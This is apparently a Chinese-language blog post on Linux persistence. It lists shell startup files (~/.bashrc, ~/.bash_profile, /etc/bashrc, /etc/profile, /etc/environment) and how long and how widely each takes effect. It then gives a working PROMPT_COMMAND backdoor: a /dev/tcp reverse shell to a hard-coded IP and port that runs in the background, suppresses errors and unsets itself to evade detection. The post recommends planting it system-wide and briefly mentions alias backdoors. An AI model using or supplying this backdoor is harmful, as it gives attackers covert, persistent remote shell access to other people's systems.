前言:
权限维持的时候有其中有两种,一种是alias别名、第二种是prompt_command,这里我们可以将其添加到环境变量中,每次运行的时候都可以使用,从而达到权限控制的效果,而不是临时执行的效果。
环境变量:
这里有其中环境变量添加的方法
第一种:
export PATH=""
读取环境变量的方法:
export命令显示当前系统定义的所有环境变量
echo $PATH命令输出当前的PATH环境变量的值
第二种:
vim ~/.bashrc
# 在最后一行加上
export PROMPT_COMMAND="(0<&196;exec 196<>/dev/tcp/192.168.222.128/12345; sh <&196 >&196 2>&196 &) 2> /dev/null;unset PROMPT_COMMAND"
注意事项:
- 生效时间:使用相同的用户打开新的终端时生效,或者手动
source ~/.bashrc
生效 - 生效期限:永久有效
- 生效范围:仅对当前用户有效
- 如果有后续的环境变量加载文件覆盖了
PATH
定义,则可能不生效
第三种:
vim ~/.bash_profile
注意事项:
- 生效时间:使用相同的用户打开新的终端时生效,或者手动
source ~/.bash_profile
生效 - 生效期限:永久有效
- 生效范围:仅对当前用户有效
- 如果没有
~/.bash_profile
文件,则可以编辑~/.profile
文件或者新建一个
方法四:
vim /etc/bashrc
注意事项:
- 生效时间:新开终端生效,或者手动
source /etc/bashrc
生效 - 生效期限:永久有效
- 生效范围:对所有用户有效
方法五:
vim /etc/profile
注意事项:
- 生效时间:新开终端生效,或者手动
source /etc/profile
生效 - 生效期限:永久有效
- 生效范围:对所有用户有效
方法六:
vim /etc/environment
注意事项:
- 生效时间:新开终端生效,或者手动
source /etc/environment
生效 - 生效期限:永久有效
- 生效范围:对所有用户有效
配合权限维持使用:
PROMPT_COMMAND后门
这条指令是经过了想了好久才想出来的指令,相当的牛逼很有好的隐蔽性
export PROMPT_COMMAND="(命令 &) 2> /dev/null;unset PROMPT_COMMAND"
命令讲解:
命令 &:这是将这条命令后台执行
(命令 &) 2> /dev/null:这里括起开是让里面执行完,将错误不输出在控制台上
unset PROMPT_COMMAND:这里执行完就删掉
效果:
每次打开终端就会连接上,然后连接完后就会删除,这里可以绕过一些检测的脚本
依据上面将的环境变量,我们可以将其写到/etc/bashrc中,因为这对所有用户都有效的,而且永久有效,打开终端执行。
当我们使用export查看的时候发现是不存在的
alias后门
这里可以使用别名,我们照样可以写到这些环境变量中,然后我们打开终端这些别名自动生效。
参考文章:
https://www.cnblogs.com/youyoui/p/10680329.html